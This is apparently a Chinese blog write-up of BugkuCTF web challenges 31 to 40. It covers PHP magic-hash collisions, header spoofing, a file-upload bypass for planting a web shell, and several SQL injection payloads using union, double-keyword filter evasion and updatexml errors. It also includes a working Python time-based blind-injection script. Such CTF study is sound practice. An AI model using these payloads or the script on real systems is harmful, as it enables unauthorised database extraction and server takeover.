BugkuCTF——WEB(3)

三十一、md5 collision

题目网址:http://123.206.87.240:9009/md5.php

 题目要我们传入a的值,参考:https://blog.csdn.net/qq_30464257/article/details/81432446

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

攻击者可以利用这一漏洞,通过输入一个经过哈希后以”0E”开头的字符串,即会被PHP解释为0,如果数据库中存在这种哈希值以”0E”开头的密码的话,他就可以以这个用户的身份登录进去,尽管并没有真正的密码。
 


0e开头的md5和原值:

 

s878926199a

0e545993274517709034328855841020

s155964671a

0e342768416822451524974117254469

s214587387a

0e848240448830537924465865611904

s214587387a

0e848240448830537924465865611904

s878926199a

0e545993274517709034328855841020

s1091221200a

0e940624217856561557816327384675

s1885207154a

0e509367213418206700842008763514

s1502113478a

0e861580163291561247404381396064

s1885207154a

0e509367213418206700842008763514

s1836677006a

0e481036490867661113260034900752

s155964671a

0e342768416822451524974117254469

s1184209335a

0e072485820392773389523109082030

s1665632922a

0e731198061491163073197128363787

s1502113478a

0e861580163291561247404381396064

s1836677006a

0e481036490867661113260034900752

s1091221200a

0e940624217856561557816327384675

s155964671a

0e342768416822451524974117254469

s1502113478a

0e861580163291561247404381396064

s155964671a

0e342768416822451524974117254469

s1665632922a

0e731198061491163073197128363787

s155964671a

0e342768416822451524974117254469

s1091221200a

0e940624217856561557816327384675

s1836677006a

0e481036490867661113260034900752

s1885207154a

0e509367213418206700842008763514

s532378020a

0e220463095855511507588041205815

s878926199a

0e545993274517709034328855841020

s1091221200a

0e940624217856561557816327384675

s214587387a

0e848240448830537924465865611904

s1502113478a

0e861580163291561247404381396064

s1091221200a

0e940624217856561557816327384675

s1665632922a

0e731198061491163073197128363787

s1885207154a

0e509367213418206700842008763514

s1836677006a

0e481036490867661113260034900752

s1665632922a

0e731198061491163073197128363787

s878926199a

0e545993274517709034328855841020
 

三十二、程序员本地网站 

题目网址:http://123.206.87.240:8002/localhost/

这道题之前做过一个一样的,抓包将X-Forwarded-For改成127.0.0.1就好

三十三、各种绕过

题目网址:http://123.206.87.240:8002/web7/

题目直接展示出了源代码,这里不懂得就是sha1()这个函数,上网查询后得知这也是哈希加密的算法,所以我们还是通过数组来绕过

三十四、web8

题目网址:http://123.206.87.240:8002/web8/

打开后也直接给了我们php的代码,看来想要我们审计代码,其中

file_get_contents() 函数把整个文件读入一个字符串中

题目还提示了txt,尝试访问flag.txt

并且想得到flag,要达到下面三个条件:就要让ac的值不为空,f的值从文件fn中获取,ac的值要恒等于f的值

构造

?ac=flags&fn=flag.txt

三十五、细心

题目网址:http://123.206.87.240:8002/web13/

题目提示想办法变成admin,这里查看一下源码,也没有什么发现,使用御剑扫描一下发现一个robots.txt

点开之后发现如下

那么我们访问一下sesusl.php

看到通过get方式传递x的值,那就传递x=admin,得到flag

三十六、求getshell

题目网址:http://123.206.87.240:8002/web9/

这种题目见的比较多了,想办法上传一句话木马文件即可

这里是黑名单过滤来判断文件后缀,依次尝试php4,phtml,phtm,phps,php5(包括一些字母改变大小写)
最终发现,php5可以绕过

接下来,请求数据的Content-Type字段改为 image/jpeg

上面还有一个请求头Content-Type字段,大小写绕过: Multipart/form-data;

三十七、INSERT INTO 注入

题目网址:http://123.206.87.240:8002/web15/

题目已经给我们提供了源代码

<?php
    error_reporting(0);
    function getIp(){
        $ip = '';
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
            $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
        }else{
            $ip = $_SERVER['REMOTE_ADDR'];
        }
        $ip_arr = explode(',', $ip);
        return $ip_arr[0];
    }
    $host="localhost";
    $user="";
    $pass="";
    $db="";
    $connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
    mysql_select_db($db) or die("Unable to select database");
    $ip = getIp();
    echo 'your ip is :'.$ip;
    $sql="insert into client_ip (ip) values ('$ip')";
    mysql_query($sql);
?>

可知注入点在$sql存储的字符串中,并且,“ , ”被过滤

这是X_FORWARDED_FOR注入,但是过滤了“ , ”,在“ , ”被过滤的情况下,无法使用if语句,则使用

select case when xxx then xxx else xxx end;

因为逗号被过滤,无法使用substr和substring,但是这里可以使用from 1 for 1替代 

1'+(select case when substr((select flag from flag) from 1 for 1)='a' then sleep(5) else 0 end))%23  

最后使用python脚本(参考博客:https://www.jianshu.com/p/e58140710647) 

import requests
import sys
# 基于时间的盲注,过滤了逗号 ,
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
url = 'http://123.206.87.240:8002/web15/'
flag = ''
for i in range(1, 40):
    print('正在猜测:', str(i))
    for ch in range(32, 129):
        if ch == 128:
            sys.exit(0)
        sqli = sql.format(i, chr(ch))
        # print(sqli)
        header = {
            'X-Forwarded-For': sqli
        }
        try:
            html = requests.get(url, headers=header, timeout=3)
        except:
            flag += chr(ch)
            print(flag)
            break

运行脚本,得出flag

三十八、这是一个神奇的登陆框 

这道题也崩了,报404

三十九、多次 

题目网址:http://123.206.87.240:9004/1ndex.php?id=1

将url中的id值从1测到5可知可以在这进行SQL注入,5之后只会报error了

 

登陆后发现页面没有啥信息,但是url地址栏?id=1 可能存在注入

 

id=1后面加单引号会报错,后面加--+注释返回正常,确定存在SQL注入

?id=1'or 1=1--+ 也报错,可能存在过滤

尝试双写绕过,?id=1'oorr 1=1--+ 返回正常

 

通过异或注入,两个条件相同(同真或同假)即为假

123.206.87.240:9004/1ndex.php?id=1'^(length('union')!=0)--+

如果返回页面显示正常,那就证明length(‘union’)==0的,也就是union被过滤了

同理测试出被过滤的字符串有:and,or,union,select

都用双写来绕过,payload如下:

爆数据表 (注意:information里面也有or)

123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+

 

爆字段

123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1, group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+

 

爆数据

123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1, group_concat(flag1) from flag1--+

 

提交flag显示错误,换个字段,爆address,得出下一关地址

123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1, group_concat(address) from flag1--+

进去又是一个SQL注入

大小写绕过pass,双写绕过pass

这里利用 updatexml() 函数报错注入

首先了解下updatexml()函数

UPDATEXML (XML_document, XPath_string, new_value); 

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据  

作用:改变文档中符合条件的节点的值

改变XML_document中符合XPATH_string的值

而我们的注入语句为:updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

其中的 concat() 函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出

ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'

payload 如下

查数据表

123.206.87.240:9004/Once_More.php?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23

 查字段

?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag2'),'~'),3) %23

查数据

?id=1' and updatexml(1,concat('~',(select flag2 from flag2),'~'),3) %23 

最后爆出 flag(参考博客:https://blog.csdn.net/qq_26090065/article/details/82708691

四十、PHP_encrypt_1

参考博客:https://blog.csdn.net/qq_19861715/article/details/79385075

题目下载的zip包解压后为代码

<?php
function encrypt($data,$key)
{
    $key = md5('ISCC');
    $x = 0;
    $len = strlen($data);
    $klen = strlen($key);
    for ($i=0; $i < $len; $i++) { 
        if ($x == $klen)
        {
            $x = 0;
        }
        $char .= $key[$x];
        $x+=1;
    }
    for ($i=0; $i < $len; $i++) {
        $str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
    }
    return base64_encode($str);
}
?>

根据encrypt写出decrypt

<?php
function decrypt($str) {
    $mkey = "729623334f0aa2784a1599fd374c120d";
    $klen = strlen($mkey);
    $tmp = $str;
    $tmp = base64_decode($tmp);  // 对 base64 后的字符串 decode
    $md_len = strlen($tmp); //获取字符串长度
    $x = 0;
    $char = "";
    for($i=0;$i < $md_len;$i++) {  //  取二次加密用 key;
        if ($x == $klen)  // 数据长度是否超过 key 长度检测
            $x = 0;
        $char .= $mkey[$x];  // 从 key 中取二次加密用 key
        $x+=1;
    }
    $md_data = array();
    for($i=0;$i<$md_len;$i++) { // 取偏移后密文数据
        array_push($md_data, ord($tmp[$i]));
    }
    $md_data_source = array();
    $data1 = "";
    $data2 = "";
    foreach ($md_data as $key => $value) { // 对偏移后的密文数据进行还原
        $i = $key;
        if($i >= strlen($mkey)) {$i = $i - strlen($mkey);}
        $dd = $value;
        $od = ord($mkey[$i]);
        array_push($md_data_source,$dd);
        $data1 .= chr(($dd+128)-$od);  // 第一种可能, 余数+128-key 为回归数
        $data2 .= chr($dd-$od);  // 第二种可能, 余数直接-key 为回归数
    }
    print "data1 => ".$data1."<br>\n";
    print "data2 => ".$data2."<br>\n";
}
$str = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=";
decrypt($str);
?>

flag为:Flag:{asdqwdfasfdawfefqwdqwdadwqadawd}

 

到这里,题目难度明显增加了,一些题目都需要参考其他大佬的博客


 

 

 


 

 

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值